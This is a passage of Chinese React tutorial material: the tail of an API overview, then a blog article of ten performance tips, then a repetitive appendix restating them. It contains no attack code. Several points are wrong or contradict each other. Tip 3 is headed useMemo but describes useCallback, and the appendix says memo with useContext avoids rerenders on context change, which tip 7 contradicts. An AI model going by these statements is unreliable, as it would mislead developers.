5. Refs 与 DOM 操作

5.1 创建 Refs

class MyComponent extends React.Component {
  constructor(props) {
    super(props);
    this.myRef = React.createRef();
  }
  render() {
    return <div ref={this.myRef} />;
  }
}

5.2 访问 Refs

const node = this.myRef.current;

5.3 转发 Refs(Forwarding Refs)

const FancyButton = React.forwardRef((props, ref) => (
  <button ref={ref} className="fancy">
    {props.children}
  </button>
));

6. 事件处理与合成事件

6.1 事件绑定

<button onClick={handleClick}>Click</button>

6.2 合成事件(SyntheticEvent)

React 封装了跨浏览器的事件对象,支持冒泡机制:

function handleChange(e) {
  console.log(e.target.value); // 输入框的值
}

6.3 事件池(Event Pooling)

合成事件对象会被重用,需通过 e.persist() 保留事件。


7. 高阶组件(HOC)与 Render Props

7.1 高阶组件

接收组件返回新组件:

function withLogging(WrappedComponent) {
  return class extends React.Component {
    componentDidMount() {
      console.log('Component mounted');
    }
    render() {
      return <WrappedComponent {...this.props} />;
    }
  };
}

7.2 Render Props

通过函数 prop 共享代码:

<Mouse render={mouse => (
  <Cat position={mouse} />
)} />

8. 性能优化 API

8.1 React.memo()

缓存函数组件,避免不必要的渲染:

const MemoComponent = React.memo(MyComponent);

8.2 useMemouseCallback

缓存值和函数:

const memoizedValue = useMemo(() => computeExpensiveValue(a, b), [a, b]);
const memoizedCallback = useCallback(() => doSomething(a, b), [a, b]);

8.3 PureComponent

类组件自动浅比较 props 和 state:

class MyComponent extends React.PureComponent { ... }

9. 错误边界与调试工具

9.1 错误边界组件

class ErrorBoundary extends React.Component {
  state = { hasError: false };
  static getDerivedStateFromError(error) {
    return { hasError: true };
  }
  componentDidCatch(error, info) {
    logErrorToService(error, info);
  }
  render() {
    if (this.state.hasError) {
      return <FallbackUI />;
    }
    return this.props.children;
  }
}

9.2 React Developer Tools

Chrome/Firefox 扩展,用于审查组件树、状态和性能。


10. React Router 核心 API

10.1 路由配置

<BrowserRouter>
  <Routes>
    <Route path="/" element={<Home />} />
    <Route path="/users" element={<Users />} />
  </Routes>
</BrowserRouter>

10.2 导航

<Link to="/about">About</Link>
const navigate = useNavigate();
navigate('/profile');

11. 服务端渲染与 ReactDOMServer

11.1 renderToString()

将组件渲染为 HTML 字符串:

ReactDOMServer.renderToString(<App />);

11.2 renderToStaticMarkup()

生成静态 HTML(无额外 DOM 属性)。


12. TypeScript 与 React 集成

12.1 组件 Props 类型

interface ButtonProps {
  label: string;
  onClick: () => void;
}
const Button: React.FC<ButtonProps> = ({ label, onClick }) => (
  <button onClick={onClick}>{label}</button>
);

13. 常见问题与最佳实践

13.1 避免不必要的渲染

  • 使用 React.memoPureComponent
  • 合理设置依赖项数组(useEffect, useMemo)。

13.2 状态管理选择

  • 简单应用使用 Context + useReducer
  • 复杂场景采用 Redux 或 MobX。

13.3 代码分割

const LazyComponent = React.lazy(() => import('./Component'));
<Suspense fallback={<Spinner />}>
  <LazyComponent />
</Suspense>

结语

React 的 API 生态庞大而灵活,本文涵盖了从基础到高级的核心知识点。掌握这些内容后,你将能够高效构建可维护的 React 应用。持续关注官方文档和社区动态,保持技术敏感度,是提升开发能力的关键。

React 性能优化十大总结

作者 北辰alk
2025年12月9日 21:17

1.memo memo允许组件在 props 没有改变的情况下跳过重新渲染默认通过Object.is比较每个prop,可通过第二个参数,传入自定义函数来控制对比过程

const Chart = memo(function Chart({ dataPoints }) {
  // ...
}, arePropsEqual);

function arePropsEqual(oldProps, newProps) {
  return (
    oldProps.dataPoints.length === newProps.dataPoints.length &&
    oldProps.dataPoints.every((oldPoint, index) => {
      const newPoint = newProps.dataPoints[index];
      return oldPoint.x === newPoint.x && oldPoint.y === newPoint.y;
    })
  );
}

2.useMemo 在每次重新渲染的时候能够缓存计算的结果

import { useState, useMemo } from "react";

function App() {
  const [count, setCount] = useState(0);

  const memoizedValue = useMemo(() => {
    //创建1000位数组
    const list = new Array(1000).fill(null).map((_, i) => i);

    //对数组求和
    const total = list.reduce((res, cur) => (res += cur), 0);

    //返回计算的结果
    return count + total;

    //添加依赖项,只有count改变时,才会重新计算
  }, [count]);

  return (
    <div>
      {memoizedValue}
      <button onClick={() => setCount((prev) => prev + 1)}>按钮</button>
    </div>
  );
}

export default App;

3.useMemo 缓存函数的引用地址,仅在依赖项改变时才会更新

import { useState, memo } from 'react';

const App = () => {
  const [count, setCount] = useState(0);

  const handleClick = () => {
    setCount((prev) => prev + 1);
  };

  return (
    <div>
      {count}
      <MyButton handleClick={handleClick} />
    </div>
  );
};

const MyButton = memo(function MyButton({ handleClick }: { handleClick: () => void }) {
  console.log('子组件渲染');
  return <button onClick={handleClick}>按钮</button>;
});

export default App;

点击按钮,可以发现即使子组件使用memo包裹了,但还是更新了,控制台打印出“子组件渲染”。这是因为父组件App每次更新时,函数handleClick每次都返回了新的引用地址,因此对于子组件来说每次传入的都是不一样的值,从而触发重渲染。

同样的,减少使用通过内联函数绑定事件。每次父组件更新时,匿名函数都会返回一个新的引用地址,从而触发子组件的重渲染.

<MyButton handleClick={() => setCount((prev) => prev + 1)} />

使用useCallback可以缓存函数的引用地址,将handleClick改为

const handleClick = useCallback(()=>{
  setCount(prev=>prev+1)
},[])

再点击按钮,会发现子组件不会再重新渲染。

4.useTransition 使用useTransition提供的startTransition来标记一个更新作为不紧急的更新。这段任务可以接受延迟或被打断渲染,进而去优先考虑更重要的任务执行页面会先显示list2的内容,之后再显示list1的内容

import { useState, useEffect, useTransition } from "react";

const App = () => {
  const [list1, setList1] = useState<null[]>([]);
  const [list2, setList2] = useState<null[]>([]);
  const [isPending, startTransition] = useTransition();
  useEffect(() => {
    startTransition(() => {
       //将状态更新标记为 transition  
      setList1(new Array(10000).fill(null));
    });
  }, []);
  useEffect(()=>{
    setList2(new Array(10000).fill(null));
  },[])
  return (
    <>
      {isPending ? "pending" : "nopending"}
      {list1.map((_, i) => (
        <div key={i}>{i}</div>
      ))}
      -----------------list2
      {list2.map((_, i) => (
        <div key={i}>6666</div>
      ))}
    </>
  );
};

export default App;

5、useDeferredValue

可以让我们延迟渲染不紧急的部分,类似于防抖但没有固定的延迟时间

import { useState, useDeferredValue } from 'react';

function SearchPage() {
  const [query, setQuery] = useState('');
  const deferredQuery = useDeferredValue(query);
  // ...
}

6、Fragment

当呈现多个元素而不需要额外的容器元素时,使用React.Fragment可以减少DOM节点的数量,从而提高呈现性能

const MyComponent = () => {
  return (
    <React.Fragment>
      <div>Element 1</div>
      <div>Element 2</div>
      <div>Element 3</div>
    </React.Fragment>
  );
};

7、合理使用Context Context 能够在组件树间跨层级数据传递,正因其这一独特机制,Context 可以绕过 React.memo 或 shouldComponentUpdate 设定的比较过程。也就是说,一旦 Context 的 Value 变动,所有使用 useContext 获取该 Context 的组件会全部 forceUpdate。即使该组件使用了memo,且 Context 更新的部分 Value 与其无关

为了使组件仅在 context 与其相关的value发生更改时重新渲染,将组件分为两个部分。在外层组件中从 context 中读取所需内容,并将其作为 props 传递给使用memo优化的子组件。

8、尽量避免使用index作为key

在渲染元素列表时,尽量避免将数组索引作为组件的key。如果列表项有添加、删除及重新排序的操作,使用index作为key,可能会使节点复用率变低,进而影响性能使用数据源的id作为key

const MyComponent = () => {
  const items = [{ id: 1, name: "Item 1" }, { id: 2, name: "Item 2" }, { id: 3, name: "Item 3" }];

  return (
      <ul>
        {items.map(item => (
          <li key={item.id}>{item.name}</li>
        ))}
      </ul>
    );
};

9、懒加载

通过React.lazy和React.Suspense实施代码分割策略,将React应用细分为更小的模块,确保在具体需求出现时才按需加载相应的部分

定义路由

import { lazy } from 'react';
import { createBrowserRouter } from 'react-router-dom';

const Login = lazy(() => import('../pages/login'));

const routes = [
  {
    path: '/login',
    element: <Login />,
  },
];

//可传第二个参数,配置base路径 { basename: "/app"}
const router = createBrowserRouter(routes);

export default router;

引用路由

import { Suspense } from 'react';
import { RouterProvider } from 'react-router-dom';

import ReactDOM from 'react-dom/client';

import router from './router';

const root = ReactDOM.createRoot(document.getElementById('root') as HTMLElement);

root.render(
  <Suspense fallback={<div>Loading...</div>}>
    <RouterProvider router={router} />
  </Suspense>,
);

10、组件卸载时的清理

在组件卸载时清理全局监听器、定时器等。防止内存泄漏影响性能

import { useState, useEffect, useRef } from 'react';

function MyComponent() {
  const [count, setCount] = useState(0);
  const timer = useRef<NodeJS.Timeout>();

  useEffect(() => {
    // 定义定时器
    timer.current = setInterval(() => {
      setCount((count) => count + 1);
    }, 1000);

    const handleOnResize = () => {
      console.log('Window resized');
    };

    // 定义监听器
    window.addEventListener('resize', handleOnResize);

    // 在组件卸载时清除定时器和监听器
    return () => {
      clearInterval(timer.current);
      window.removeEventListener('resize', handleOnResize);
    };
  }, []);

  return (
    <div>
      <p>{count}</p>
    </div>
  );
}

export default MyComponent;

附:

React 性能优化十大总结

@[toc]

1. 引言

为什么需要 React 性能优化?

React 是一个高效的前端框架,但在复杂应用中,性能问题仍然可能出现。通过性能优化,可以提升应用的响应速度和用户体验。

React 性能优化的基本概念

React 性能优化主要关注减少不必要的渲染、优化 DOM 操作、减少内存占用等方面。


2. React 性能优化的十大方法

1. 使用 React.memo 优化组件渲染

React.memo 是一个高阶组件,用于缓存组件的渲染结果,避免不必要的重新渲染。

const MyComponent = React.memo(function MyComponent(props) {
  // 组件逻辑
});

2. 使用 useMemouseCallback 缓存计算结果和函数

useMemo 用于缓存计算结果,useCallback 用于缓存函数,避免在每次渲染时重新计算或创建。

const memoizedValue = useMemo(() => computeExpensiveValue(a, b), [a, b]);
const memoizedCallback = useCallback(() => {
  doSomething(a, b);
}, [a, b]);

3. 使用 React.lazySuspense 实现代码分割

React.lazySuspense 可以实现组件的懒加载,减少初始加载时间。

const LazyComponent = React.lazy(() => import('./LazyComponent'));

function MyComponent() {
  return (
    <Suspense fallback={<div>Loading...</div>}>
      <LazyComponent />
    </Suspense>
  );
}

4. 使用 shouldComponentUpdatePureComponent 避免不必要的渲染

shouldComponentUpdatePureComponent 可以避免组件在 props 或 state 未变化时重新渲染。

class MyComponent extends React.PureComponent {
  render() {
    // 组件逻辑
  }
}

5. 使用 key 优化列表渲染

为列表项设置唯一的 key,可以帮助 React 识别哪些项发生了变化,减少不必要的 DOM 操作。

const listItems = items.map(item => (
  <li key={item.id}>{item.name}</li>
));

6. 使用 React.Fragment 减少不必要的 DOM 节点

React.Fragment 可以避免在渲染时添加额外的 DOM 节点。

function MyComponent() {
  return (
    <React.Fragment>
      <ChildA />
      <ChildB />
    </React.Fragment>
  );
}

7. 使用 useReducer 替代 useState 管理复杂状态

useReducer 可以更好地管理复杂的状态逻辑,减少状态更新的次数。

const [state, dispatch] = useReducer(reducer, initialState);

8. 使用 React.memouseContext 优化上下文传递

通过 React.memouseContext,可以避免在上下文变化时重新渲染所有子组件。

const MyComponent = React.memo(function MyComponent() {
  const value = useContext(MyContext);
  // 组件逻辑
});

9. 使用 React.memouseRef 优化 DOM 操作

useRef 可以保存 DOM 引用,避免在每次渲染时重新获取 DOM 元素。

const myRef = useRef(null);

useEffect(() => {
  myRef.current.focus();
}, []);

10. 使用 React.memouseEffect 优化副作用

通过 React.memouseEffect,可以避免在每次渲染时执行不必要的副作用。

const MyComponent = React.memo(function MyComponent() {
  useEffect(() => {
    // 副作用逻辑
  }, [dependency]);
  // 组件逻辑
});

3. 实战:在 React 项目中应用性能优化

项目初始化

使用 Create React App 创建一个新的 React 项目:

npx create-react-app my-react-app
cd my-react-app
npm start

使用 React.memo 优化组件渲染

src/components/MyComponent.js 中使用 React.memo 优化组件渲染:

import React from 'react';

const MyComponent = React.memo(function MyComponent(props) {
  return <div>{props.value}</div>;
});

export default MyComponent;

使用 useMemouseCallback 缓存计算结果和函数

src/components/MyComponent.js 中使用 useMemouseCallback

import React, { useMemo, useCallback } from 'react';

function MyComponent({ a, b }) {
  const memoizedValue = useMemo(() => a + b, [a, b]);
  const memoizedCallback = useCallback(() => {
    console.log(a, b);
  }, [a, b]);

  return (
    <div>
      <p>{memoizedValue}</p>
      <button onClick={memoizedCallback}>Click me</button>
    </div>
  );
}

export default MyComponent;

使用 React.lazySuspense 实现代码分割

src/App.js 中使用 React.lazySuspense

import React, { Suspense } from 'react';

const LazyComponent = React.lazy(() => import('./components/LazyComponent'));

function App() {
  return (
    <Suspense fallback={<div>Loading...</div>}>
      <LazyComponent />
    </Suspense>
  );
}

export default App;

使用 shouldComponentUpdatePureComponent 避免不必要的渲染

src/components/MyComponent.js 中使用 PureComponent

import React, { PureComponent } from 'react';

class MyComponent extends PureComponent {
  render() {
    return <div>{this.props.value}</div>;
  }
}

export default MyComponent;

使用 key 优化列表渲染

src/components/MyList.js 中使用 key 优化列表渲染:

import React from 'react';

function MyList({ items }) {
  return (
    <ul>
      {items.map(item => (
        <li key={item.id}>{item.name}</li>
      ))}
    </ul>
  );
}

export default MyList;

使用 React.Fragment 减少不必要的 DOM 节点

src/components/MyComponent.js 中使用 React.Fragment

import React from 'react';

function MyComponent() {
  return (
    <React.Fragment>
      <ChildA />
      <ChildB />
    </React.Fragment>
  );
}

export default MyComponent;

使用 useReducer 替代 useState 管理复杂状态

src/components/MyComponent.js 中使用 useReducer

import React, { useReducer } from 'react';

const initialState = { count: 0 };

function reducer(state, action) {
  switch (action.type) {
    case 'increment':
      return { count: state.count + 1 };
    case 'decrement':
      return { count: state.count - 1 };
    default:
      throw new Error();
  }
}

function MyComponent() {
  const [state, dispatch] = useReducer(reducer, initialState);

  return (
    <div>
      <p>{state.count}</p>
      <button onClick={() => dispatch({ type: 'increment' })}>Increment</button>
      <button onClick={() => dispatch({ type: 'decrement' })}>Decrement</button>
    </div>
  );
}

export default MyComponent;

使用 React.memouseContext 优化上下文传递

src/components/MyComponent.js 中使用 React.memouseContext

import React, { useContext } from 'react';
import MyContext from './MyContext';

const MyComponent = React.memo(function MyComponent() {
  const value = useContext(MyContext);
  return <div>{value}</div>;
});

export default MyComponent;

使用 React.memouseRef 优化 DOM 操作

src/components/MyComponent.js 中使用 React.memouseRef

import React, { useRef, useEffect } from 'react';

const MyComponent = React.memo(function MyComponent() {
  const myRef = useRef(null);

  useEffect(() => {
    myRef.current.focus();
  }, []);

  return <input ref={myRef} />;
});

export default MyComponent;

使用 React.memouseEffect 优化副作用

src/components/MyComponent.js 中使用 React.memouseEffect

import React, { useEffect } from 'react';

const MyComponent = React.memo(function MyComponent({ dependency }) {
  useEffect(() => {
    console.log('Effect triggered');
  }, [dependency]);

  return <div>{dependency}</div>;
});

export default MyComponent;

4. 进阶:React 性能优化的策略

使用 React.memo 优化组件渲染

通过 React.memo 缓存组件的渲染结果,避免不必要的重新渲染。

使用 useMemouseCallback 缓存计算结果和函数

通过 useMemouseCallback 缓存计算结果和函数,避免在每次渲染时重新计算或创建。

使用 React.lazySuspense 实现代码分割

通过 React.lazySuspense 实现组件的懒加载,减少初始加载时间。

使用 shouldComponentUpdatePureComponent 避免不必要的渲染

通过 shouldComponentUpdatePureComponent 避免组件在 props 或 state 未变化时重新渲染。

使用 key 优化列表渲染

为列表项设置唯一的 key,帮助 React 识别哪些项发生了变化,减少不必要的 DOM 操作。

使用 React.Fragment 减少不必要的 DOM 节点

通过 React.Fragment 避免在渲染时添加额外的 DOM 节点。

使用 useReducer 替代 useState 管理复杂状态

通过 useReducer 更好地管理复杂的状态逻辑,减少状态更新的次数。

使用 React.memouseContext 优化上下文传递

通过 React.memouseContext 避免在上下文变化时重新渲染所有子组件。

使用 React.memouseRef 优化 DOM 操作

通过 useRef 保存 DOM 引用,避免在每次渲染时重新获取 DOM 元素。

使用 React.memouseEffect 优化副作用

通过 React.memouseEffect 避免在每次渲染时执行不必要的副作用。


5. 常见问题与解决方案

性能优化的兼容性问题

  • 问题:某些旧版浏览器可能不支持 React 的某些功能。
  • 解决方案:确保浏览器兼容性,或使用兼容性更好的方法。

性能优化的性能问题

  • 问题:频繁操作可能导致性能问题。
  • 解决方案:优化操作逻辑,减少不必要的操作。

性能优化的使用误区

  • 问题:误用性能优化可能导致逻辑混乱。
  • 解决方案:理解性能优化的原理,避免误用。

6. 总结与展望

React 性能优化的最佳实践

  • 明确使用场景:根据需求选择合适的性能优化方法。
  • 优化性能:合理使用性能优化,避免频繁操作。
  • 确保兼容性:确保性能优化在不同浏览器和环境中兼容。

未来发展方向

  • 更强大的性能优化:支持更复杂的开发场景。
  • 更好的性能优化:提供更高效的实现方式。

通过本文的学习,你应该已经掌握了 React 性能优化的十大方法及实战应用。希望这些内容能帮助你在实际项目中更好地提升应用性能,提升用户体验!

❌
❌